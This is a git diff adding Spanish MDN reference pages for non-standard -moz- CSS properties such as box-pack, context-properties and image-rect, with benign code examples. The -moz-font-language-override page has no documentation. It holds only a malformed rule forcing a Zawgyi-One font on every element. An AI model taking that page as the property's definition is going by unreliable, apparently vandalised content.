+<p>La caja contenedora asigna el espacio extra disponible de manera proporcional al valor flex de cada uno de los elementos que contiene.</p>
+
+<p>Los elementos dentro del contenedor que tienen 0 flex no crecen.</p>
+
+<p>Si śolo uno de los elementos tiene un valor distinto de cero ocupará todo el espacio disponible.</p>
+
+<p>Los elementos que tienen el mismo valor para flex crecen en la misma cantidad en términos absolutos.</p>
+
+<p>Si el valor flex se ha establecido usando el atributo flex del elemento, entonces el estilo es ignorado.</p>
+
+<p>Para hacer que los elementos XUL dentro de una caja contenedora tengan el mismo tamaño, fijaremos el atributo <code>equalsize </code>de la caja contenedora a <code>always</code>. Este atributo no tiene correspondencia con ninguna propiedad CSS.</p>
+
+<p>Un truco para hacer que todos los elementos dentro una caja contenedora tengan el mismo tamaño es darles un tamaño fijo,(por ejemplo <code>height: 0</code>), y el mismo valor box-flex mayor que cero a todos (por ejemplo <code>-moz-box-flex: 1</code>).</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad es una extensión no estándar. Había una <a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">old draft of the CSS3 Flexbox specification</a> que definía una propiedad<code>box-flex</code> , pero ese borrador nunca ha sido sustituido.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("-moz-box-orient")}}, {{cssxref("-moz-box-pack")}}, {{cssxref("-moz-box-direction")}}, {{cssxref("flex")}}</p>
diff --git a/files/es/web/css/-moz-box-ordinal-group/index.html b/files/es/web/css/-moz-box-ordinal-group/index.html
new file mode 100644
index 0000000000..7969d3e525
--- /dev/null
+++ b/files/es/web/css/-moz-box-ordinal-group/index.html
@@ -0,0 +1,66 @@
+---
+title: '-moz-box-ordinal-group'
+slug: Web/CSS/-moz-box-ordinal-group
+tags:
+  - CSS
+  - 'CSS: Extensiones Mozilla'
+  - Caja Flexible
+  - No estandar
+  - Referencia CSS
+translation_of: Web/CSS/box-ordinal-group
+---
+<p>{{CSSRef}}<br>
+ {{warning("Esta propiedad pertenece al borrador original del diseño o esquema de la caja CSS flexible, y ha sido reemplazada en borradores posteriores.")}}</p>
+
+<p>Ver <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes" title="/en/CSS/Flexible_boxes">Flexbox</a> para más información sobre qué usar en sustitución de esta propiedad.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Indica el grupo ordinal al que pertenece el elemento. Aquellos elementos con un grupo ordinal menor son mostrados antes que aquellos con un grupo ordinal mayor.</p>
+
+<h2 id="Valores">Valores</h2>
+
+<p>Los valores deben ser enteros positivos (mayores de cero). El valor por defecto para esta propiedad es 1.</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;style type="text/css"&gt;
+  #Flexbox {
+    display: -ms-box;
+    display: -moz-box;
+    display: -webkit-box;
+  }
+
+  #text1 {
+    background: red;
+    -ms-box-ordinal-group: 4;
+    -moz-box-ordinal-group: 4;
+    -webkit-box-ordinal-group: 4;
+  }
+
+  #text2 {
+    background: green;
+    -ms-box-ordinal-group: 3;
+    -moz-box-ordinal-group: 3;
+    -webkit-box-ordinal-group: 3;
+  }
+
+  #text3 {
+    background: blue;
+    -ms-box-ordinal-group: 2;
+    -moz-box-ordinal-group: 2;
+    -webkit-box-ordinal-group: 2;
+  }
+
+  #text4 {
+    background: orange;
+  }
+&lt;/style&gt;
+
+&lt;div id="Flexbox"&gt;
+  &lt;div id="text1"&gt;text 1&lt;/div&gt;
+  &lt;div id="text2"&gt;text 2&lt;/div&gt;
+  &lt;div id="text3"&gt;text 3&lt;/div&gt;
+  &lt;div id="text4"&gt;text 4&lt;/div&gt;
+&lt;/div&gt;
+</pre>
diff --git a/files/es/web/css/-moz-box-pack/index.html b/files/es/web/css/-moz-box-pack/index.html
new file mode 100644
index 0000000000..118d60287a
--- /dev/null
+++ b/files/es/web/css/-moz-box-pack/index.html
@@ -0,0 +1,184 @@
+---
+title: '-moz-box-pack'
+slug: Web/CSS/-moz-box-pack
+tags:
+  - CSS
+  - Diseño
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/box-pack
+---
+<div>{{CSSRef}}{{warning("Esta propiedad es parte del módulo estándar original para el diseño de las cajas CSS Flexible que fue sustituida por un nuevo estándar.")}}</div>
+
+<p>Ver <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Flexbox</a> para más información.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las propiedades  <a href="/en-US/docs/Web/CSS">CSS </a><code>-moz-box-pack</code> y <code>-webkit-box-pack</code> especifican cómo una <code>-moz-box</code> o un <code>-webkit-box</code> empaquetan o disponen  su contenido en la dirección de su diseño o esquema. El efecto de esto sólo es visible si hay expacio extra en la caja. Ver <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes#Flexible_box_properties">Flexbox</a> para más información sobre las propiedades de los elementos flexbox.</p>
+
+<p>La dirección del esquema o diseño (layout)  depende de la orientación del elemento: vertical o horizontal.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valores de palabras clave */
+-moz-box-pack: start;
+-moz-box-pack: center;
+-moz-box-pack: end;
+-moz-box-pack: justify;
+
+/* Valores gloables */
+-moz-box-pack: inherit;
+-moz-box-pack: initial;
+-moz-box-pack: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>start</code></dt>
+ <dd>La caja empaqueta o muestra el contenido al principio dejando el espacio libre que hubiera al final.</dd>
+ <dt><code>center</code></dt>
+ <dd>La caja empaqueta o muestra el contenido en el centro dejando el espacio libre que hubiera dividido de igual manera entre el inicio y el final.</dd>
+ <dt><code>end</code></dt>
+ <dd>La caja empaqueta o muestra el contenido al final dejando el espacio libre que hubiera al principio.</dd>
+ <dt><code>justify</code></dt>
+ <dd>El espacio se divide de igual manera entre los diferentes hijos sin dejar nada del espacio libre ni antes del primer hijo ni después del último. Si sólo hay un hijo el comportamiento es como si fuera <code>start</code>.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">div.example {
+  border-style: solid;
+
+  display: -moz-box; /* Mozilla */
+  display: -webkit-box; /* WebKit */
+
+  /* Hace esta caja más alta que los hijos para que haya hueco suficiente
+     para el empaquetado en la caja */
+  height: 300px;
+  /* Hace la caja lo suficientemente ancha para mostrar los contenidos
+     centrados horizontalmente */
+  width: 300px;
+
+  /* Los hijos deberían estar orientados verticalmente */
+  -moz-box-orient: vertical; /* Mozilla */
+  -webkit-box-orient: vertical; /* WebKit */
+
+  /* Alínea los hijos con el centro horizontal de la caja */
+  -moz-box-align: center; /* Mozilla */
+  -webkit-box-align: center; /* WebKit */
+
+  /* Dispone a los hijos en el fondo de la caja */
+  -moz-box-pack: end;             /* Mozilla */
+  -webkit-box-pack: end;          /* WebKit */
+}
+
+div.example p {
+  /* hace los hijos más estrechos que el padra para que
+     haya espacio suficiente para el box-align */
+  width: 200px;
+}
+</pre>
+
+<pre class="brush: html">&lt;div class="example"&gt;
+  &lt;p&gt;Será el segundo empezando desde el fondo de div.example y centrado horizontalmente.&lt;/p&gt;
+  &lt;p&gt;Estaré en el fondo de div.example y centrado horizontalmente.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{EmbedLiveSample('Examples', 310, 310)}}</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>EL borde  de la caja que será tomado como <em>start</em>  para el empqeutado dependerá de la orientación y dirección de la caja:</p>
+
+<table class="standard-table" style="text-align: center;">
+ <tbody>
+  <tr>
+   <th> </th>
+   <th><strong>Normal</strong></th>
+   <th><strong>Reverse</strong></th>
+  </tr>
+  <tr>
+   <th style="text-align: right;"><strong>Horizontal</strong></th>
+   <td>left</td>
+   <td>right</td>
+  </tr>
+  <tr>
+   <th style="text-align: right;"><strong>Vertical</strong></th>
+   <td>top</td>
+   <td>bottom</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>El borde opuesto a start será el considerado como <em>end</em>.</p>
+
+<p>Si el empaquetado se establece usando el atributo <code>pack</code> del elemento el estilo es ignorado.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad es no estándar aunque una propiedad similar apareción en <a class="external" href="http://www.w3.org/TR/2009/WD-css3-flexbox-20090723/">draft of CSS3 Flexbox</a>,  que a su vez ha sido sustituida para nuevas versiones de la especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{cssxref("box-orient")}}, {{cssxref("box-direction")}}, {{cssxref("box-align")}}</p>
diff --git a/files/es/web/css/-moz-cell/index.html b/files/es/web/css/-moz-cell/index.html
new file mode 100644
index 0000000000..b1c5e8aa32
--- /dev/null
+++ b/files/es/web/css/-moz-cell/index.html
@@ -0,0 +1,10 @@
+---
+title: '-moz-cell'
+slug: Web/CSS/-moz-cell
+tags:
+  - CSS
+translation_of: Web/CSS/cursor
+---
+<div>{{CSSRef}}{{obsolete_header}}</div>
+
+<p><em>¡No uses este valor!Don't use this value! </em> Usa el valor  {{cssxref("cursor#cell","cell")}} en su lugar.</p>
diff --git a/files/es/web/css/-moz-context-properties/index.html b/files/es/web/css/-moz-context-properties/index.html
new file mode 100644
index 0000000000..2a9f0d3137
--- /dev/null
+++ b/files/es/web/css/-moz-context-properties/index.html
@@ -0,0 +1,79 @@
+---
+title: '-moz-context-properties'
+slug: Web/CSS/-moz-context-properties
+translation_of: Web/CSS/-moz-context-properties
+---
+<div>{{CSSRef}}{{Non-standard_header}}
+<div class="note">
+<p><strong>Note</strong>: Este recurso esta disponible desde Firefox 55, pero solamente es compatible con imagenes SVG cargadas via <code>chrome://</code> o <code>resource://</code> URLs. Para experimentar con la caracteristica SVG en la web, es necesario poner <code>svg.context-properties.content.enabled</code> en <code>true</code>.</p>
+</div>
+</div>
+
+<p>Si mencionas una imagen SVG en una pagina web({{htmlelement("img")}} como elemento o como fondo de pagina), la imagen SVG puede coordinarse con el elemento incrustado(su contexto) para que la imagen adopte las propiedades puestas en el elemento incrustado. Para hacer esto, el elemento incrustado necesita listar las propiedades que deben estar disponibles para la imagen listadolas como valores de la propiedad<strong><code>-moz-context-properties</code></strong>, y la imagen necesita optar a usar esas propiedades utilizando valores tales como el valor de  <code>context-fill</code>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush:css">/* Keyword values */
+-moz-context-properties: fill;
+-moz-context-properties: fill, stroke;
+
+/* Global values */
+-moz-context-properties: inherit;
+-moz-context-properties: initial;
+-moz-context-properties: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>fill</code></dt>
+ <dd>Expone el valor de <code>fill</code> determinado en la imagen del SVG.</dd>
+ <dt><code>stroke</code></dt>
+ <dd>Expone el valor de <code>stroke</code> determinado en la imagen del SVG..</dd>
+ <dt><code>fill-opacity</code></dt>
+ <dd>Expone el valor de<code>fill-opacity</code> determinado en la imagen del SVG.</dd>
+ <dt><code>stroke-opacity</code></dt>
+ <dd>Expone el valor de <code>stoke-opacity</code> determinado en la imagen del SVG.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>En este ejemplo tenemos un SVG sencillo utilizando un elemento <code>&lt;img&gt;</code>.</p>
+
+<p>Primero necesitas especificar en el elemento incrustado las propiedades cuyos valores quieres exponer al SVG, utilizando la propiedad <code>-moz-context-properties</code>. Por ejemplo:</p>
+
+<pre class="brush: css">.img1 {
+  width: 100px;
+  height: 100px;
+  -moz-context-properties: fill, stroke;
+  fill: lime;
+  stroke: purple;
+}</pre>
+
+<p>Ahora que has hecho eso la imagen SVG puede utlizar los valores de {{cssxref("fill")}} y {{cssxref("stroke")}} , por ejemplo:</p>
+
+<pre class="brush: html">&lt;img class="img1" src="data:image/svg+xml;utf8,&lt;svg xmlns='http://www.w3.org/2000/svg'&gt;
+                       &lt;rect width='100%' height='100%' stroke-width='30px'
+                       fill='context-fill red' stroke='context-stroke' fill-opacity='0.5'/&gt;&lt;/svg&gt;"&gt;</pre>
+
+<p>Aqui hemos puesto que la imagen <code>src</code> sea una URL de datos que contiene una imagen SVG simple; el <code>&lt;rect&gt;</code>de dentro ha sido hecho para coger sus valores de <code>fill</code> y <code>stroke</code> de {{cssxref("fill")}} y {{cssxref("stroke")}} puestos en el elemento <code>&lt;img&gt;</code>poniendo  <code>context-fill</code>/<code>context-stroke</code> en sus valores asi como un color para rellenar(rojo) que sera utilizado en caso que el SVG es cargado independientemente en una ventana superior(donde no tendra contexto para dar los valores ). Tener en cuenta que si un colore es directamente puesto en el SVG, pero el color del contexto tambien es especificado, el color del contexto sobreescribe el color directo.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Puedes en contrar un <a href="https://mdn.github.io/css-examples/moz-context-properties/">ejemplo de ejecucion en Github</a>.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no esta definida en ningun estándar de CSS</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("css.properties.-moz-context-properties")}}</p>
diff --git a/files/es/web/css/-moz-float-edge/index.html b/files/es/web/css/-moz-float-edge/index.html
new file mode 100644
index 0000000000..9454e77fc9
--- /dev/null
+++ b/files/es/web/css/-moz-float-edge/index.html
@@ -0,0 +1,78 @@
+---
+title: '-moz-float-edge'
+slug: Web/CSS/-moz-float-edge
+tags:
+  - CSS
+  - 'CSS: Extensión Mozilla'
+  - Diseño
+  - No estandar
+  - Propiedad CSS
+translation_of: Web/CSS/-moz-float-edge
+---
+<div>   {{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/Web/CSS">CSS</a> no estándar <strong><code>-moz-float-edge</code></strong> especifica si las propiedades  altura y anchura  del elemento incluyen el margen, el borde o el espesor del padding (relleno)</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Palabras clave valor */
+-moz-float-edge: border-box;
+-moz-float-edge: content-box;
+-moz-float-edge: margin-box;
+-moz-float-edge: padding-box;
+
+/* Valores globales */
+-moz-float-edge: inherit;
+-moz-float-edge: initial;
+-moz-float-edge: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>La altura y anchura incluyen el contenido, el padding (relleno) y el bordee, pero no el margin.</dd>
+ <dt><code>content-box</code></dt>
+ <dd>La altura y anchura incluyen el contenido, pero no el padding (relleno),borde ni el margen.</dd>
+ <dt><code>margin-box</code></dt>
+ <dd>La altura y anchura incluyen el contenido, el padding (relleno), el borde y el margen.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>La altura y anchura incluyen el contenido, y el padding (relleno), pero no el borde ni el margen.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Example" name="Example"> </h2>
+
+<h2 id="Example" name="Example">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="html prettyprint"><span class="tag">&lt;div</span><span class="pln"> </span><span class="atn">class</span><span class="pun">=</span><span class="atv">"box"</span><span class="tag">&gt;</span><span class="pln"> </span>
+<span class="pln">   </span><span class="tag">&lt;p&gt;</span><span class="pln">Lorem ipsum dolor sit amet, consectetur adipiscing elit.</span><span class="tag">&lt;/p&gt;</span><span class="pln">
+</span><span class="tag">&lt;/div&gt;</span></pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">.box {
+    display: <span class="highVAL">block</span>;
+    height: 5px;
+    margin: 0.5em auto 0.5em auto;
+    color: gray;
+    -moz-float-edge: margin-box;
+    box-sizing: border-box;
+} </pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/-moz-float-edge') }}</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{bug(432891)}}</p>
diff --git a/files/es/web/css/-moz-font-language-override/index.html b/files/es/web/css/-moz-font-language-override/index.html
new file mode 100644
index 0000000000..5d035a4cd3
--- /dev/null
+++ b/files/es/web/css/-moz-font-language-override/index.html
@@ -0,0 +1,6 @@
+---
+title: '-moz-font-language-override'
+slug: Web/CSS/-moz-font-language-override
+translation_of: Web/CSS/font-language-override
+---
+<p>*  , html,  body, div, p  { font-Zawgyi-One  !  important; }</p>
diff --git a/files/es/web/css/-moz-force-broken-image-icon/index.html b/files/es/web/css/-moz-force-broken-image-icon/index.html
new file mode 100644
index 0000000000..67f407e77b
--- /dev/null
+++ b/files/es/web/css/-moz-force-broken-image-icon/index.html
@@ -0,0 +1,56 @@
+---
+title: '-moz-force-broken-image-icon'
+slug: Web/CSS/-moz-force-broken-image-icon
+tags:
+  - CSS
+  - CSS Reference
+  - Non-standard
+translation_of: Web/CSS/-moz-force-broken-image-icon
+---
+<div>{{Non-standard_header}}{{ CSSRef() }}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>-moz-force-broken-image-icon</code> es una propiedad CSS extendida. El valor <code>1</code> fuerza un icono de imagen no encontrada aunque la imagen tenga el atributo <code>alt</code>. Cuando el valor es <code>0</code> la imagen actuará normalmente y solo mostrará el atributo  <code>alt</code>.</p>
+
+<div class="note"><strong>Nota:</strong> Aunque el valor sea <code>1</code> el atributo <code>alt</code> se seguirá mostrando. Más información debajo.</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox">-moz-force-broken-image-icon: &lt;integer&gt;;</pre>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;integer&gt;")}}</dt>
+ <dd> </dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush:css;">img {
+  -moz-force-broken-image-icon: 1;
+  height:100px;
+  width:100px;
+}</pre>
+
+<pre class="brush:html;">&lt;img src='/enlace/roto/imagen.png' alt='Imagen con enlace roto'&gt;</pre>
+
+<p>{{ EmbedLiveSample('Examples','125','125','/files/4619/broken%20image%20link.png') }}</p>
+
+<div class="note"><strong>Nota:</strong> A no ser que la imagen tenga una altura y ancho especificados, el icono de imagen rota no se mostrará, pero el atributo alt no se mostrará si el valor de <code>-moz-force-broken-image-icon</code> es <code>1</code>.</div>
+
+<h2 id="Notes" name="Notes">Notas</h2>
+
+<ul>
+ <li>Esta propiedad solo funcionará en los navegadores basados en Gecko</li>
+ <li>No se recomienda el uso de esta propiedad. Se debería usar un atributo alt adecuado.</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Ver también</h2>
+
+<ul>
+ <li>{{ Bug(58646) }}</li>
+</ul>
diff --git a/files/es/web/css/-moz-image-rect/index.html b/files/es/web/css/-moz-image-rect/index.html
new file mode 100644
index 0000000000..5d6b6f1e69
--- /dev/null
+++ b/files/es/web/css/-moz-image-rect/index.html
@@ -0,0 +1,143 @@
+---
+title: '-moz-image-rect'
+slug: Web/CSS/-moz-image-rect
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-moz-image-rect
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("2.0")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Este valor para la propiedad <a href="/en-US/docs/Web/CSS">CSS</a> {{cssxref("background-image")}} te permite usar una parte de una imagen de gran tamaño como fondo. Esto permitirá, por ejemplo, usar diferentes partes de una imagen grande como si fueran una sóla imagen grande usada como fondo de diferentes partes de tú contenido.</p>
+
+<p>Funciona de manera similar a la propiedad {{cssxref("-moz-image-region")}} , que se usa junto con la propiedad{{cssxref("list-style-image")}} para utilizar partes de imágnes como iconos de listas. Sin embargo puede ser usado para cualquier fondo CSS.</p>
+
+<p>La síntaxis para el rectánigulo es similar a la de la función <a href="/en-US/docs/Web/CSS/shape#Syntax"><code>rect()</code></a> y genera un tipo CSS {{cssxref("&lt;shape&gt;")}} . Los cuatro valores son relativos a la esquina superior izquierda de la imagen.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">-moz-image-rect({{cssxref("&lt;uri&gt;")}}, <em>top</em>, <em>right</em>, <em>bottom</em>, <em>left</em>);</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;uri&gt;")}}</dt>
+ <dd>La URI de la imagen de la que se cogera una parte.</dd>
+ <dt><code>top</code></dt>
+ <dd>El borde superior, especificado como  {{cssxref("&lt;length&gt;")}}, de la subimagen dentro de la imagen seleccionada.</dd>
+ <dt><code>right</code></dt>
+ <dd>El borde derecho, especificado como  {{cssxref("&lt;length&gt;")}}, de la subimagen dentro de la imagen seleccionada.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>El borde inferior, especificado como  {{cssxref("&lt;length&gt;")}}, de la subimagen dentro de la imagen seleccionada.</dd>
+ <dt><code>left</code></dt>
+ <dd>El borde izquierdo, especificado como  {{cssxref("&lt;length&gt;")}}, de la subimagen dentro de la imagen seleccionada.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Este ejemplo carga una imagen y la usa en cuatro segmento para dibujar el logo de Firefox en cuatro bloques  {{HTMLElement("div")}} blocks. Si hacemos click en el contenedor los cuatro segmentos rotarán cmabiando los valores de la propiedad {{cssxref("background-image")}} entre estos cuatro bloques {{HTMLElement("div")}}.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>El CSS define un estilo para el contenedor y, posteriormente los estilos para las cuatro cajas que comprenden la imagen completa.</p>
+
+<p>Para el contenedor:</p>
+
+<pre class="brush: css">#container {
+  width:267px;
+  height:272px;
+  top:100px;
+  left:100px;
+  position:absolute;
+  font-size:16px;
+  text-shadow:white 0px 0px 6px;
+  text-align:center;
+}</pre>
+
+<p>posteriormente las cuatro caja se defines las cajas que especifican los segmentos de la imagen. La vamos a ver una por una.</p>
+
+<pre class="brush: css">#box1 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 50%, 50%, 0%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+</pre>
+
+<p>Esta es la esquina superior izquierda de la imagen. Define un rectángulo que contiene el cuartil superior izquierda de la imagen <code>firefox.jpg</code>.</p>
+
+<pre class="brush: css">#box2 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 0%, 100%, 50%, 50%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+</pre>
+
+<p>Esto define la esquina superior derecha:</p>
+
+<p>Las otras dos siguen un patrón similar:</p>
+
+<pre class="brush: css">#box3 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 50%, 100%, 0%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+#box4 {
+  background-image: -moz-image-rect(url(https://mdn.mozillademos.org/files/12053/firefox.png), 50%, 100%, 100%, 50%);
+  width:133px;
+  height:136px;
+  position:absolute;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>Es bastante simple:</p>
+
+<pre class="brush: html">&lt;div id="container" onclick="rotate()"&gt;
+  &lt;div id="box1" style="left:0px;top:0px;"&gt;Top left&lt;/div&gt;
+  &lt;div id="box2" style="left:133px;top:0px;"&gt;Top right&lt;/div&gt;
+  &lt;div id="box3" style="left:0px;top:136px;"&gt;Bottom left&lt;/div&gt;
+  &lt;div id="box4" style="left:133px;top:136px;"&gt;Bottom right&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>Sitúa los 4 segmentos de una imagen en un caja de 2x2 celdas. Estos cuatro elementos están dentro de un bloque {{HTMLElement("div")}} más grande cuya función es recibir eventos click y mandarlos al código JavaScript.</p>
+
+<h3 id="El_codigo_javaScript">El codigo javaScript</h3>
+
+<p>Gestiona el evento click cuando el contenedor recibe un click de ratón</p>
+
+<pre class="brush:js">function rotate() {
+  var prevStyle = window.getComputedStyle(document.getElementById("box4"), null).getPropertyValue("background-image");
+
+  // Una vez hemos guardado la última, empezamos a rotar.
+
+  for (var i=1; i&lt;=4; i++) {
+    var curId = "box" + i;
+
+    // Permuta las imágenes de fondo.
+
+    var curStyle = window.getComputedStyle(document.getElementById(curId), null).getPropertyValue("background-image");
+    document.getElementById(curId).style.backgroundImage = prevStyle;
+    prevStyle = curStyle;
+  }
+}</pre>
+
+<p>Usa {{domxref("window.getComputedStyle()")}} para establecer el estilo de cada elemento, cambiándolo al elemento posterior. Destacar que, una vez se empieza se guarda una copia del estilo de la última caja ya que será sobreescrito por el tercer elemento. Simplemente copiando los valores de la propiedad {{cssxref("background-image")}} de un elemento al siguiente, cuando hacemos click de ratón, conseguiremos el efecto deseado.</p>
+
+<h3 id="Como_queda">Como queda</h3>
+
+<p>{{EmbedLiveSample("Example","400","400")}}</p>
+
+<h3 id="Bugs">Bugs</h3>
+
+<ul>
+ <li>{{WebkitBug(32177)}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-image-region/index.html b/files/es/web/css/-moz-image-region/index.html
new file mode 100644
index 0000000000..4b8ff97c95
--- /dev/null
+++ b/files/es/web/css/-moz-image-region/index.html
@@ -0,0 +1,37 @@
+---
+title: '-moz-image-region'
+slug: Web/CSS/-moz-image-region
+tags:
+  - CSS
+  - No estandar
+  - Referencia
+  - Referencia CSS
+translation_of: Web/CSS/-moz-image-region
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p><em>Para sistemas que funcionan con cualquier fondo ver {{ Cssxref("-moz-image-rect") }}.</em></p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Para cierto elementos y pseudo-elementos XUL que usan una imagen para la propiedad {{cssxref("list-style-image")}}, esta propiedad especifica la parte de una imagen que es usada en lugar en vez de la imagen completa. Esto permite a los elementos usar diferentes partes de la misma imagen para mejorar el rendimiento.</p>
+
+<p>La síntaxis es similar a la síntaxis de la propiedad {{cssxref("clip")}}. Los 4 valors son relativos la esquina superior izquierda de la imagen.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">#example-button {
+  /* muestra sólo el área 4x4 desde la esquina izquierda de esta imagen */
+  list-style-image: url("chrome://example/skin/example.png");
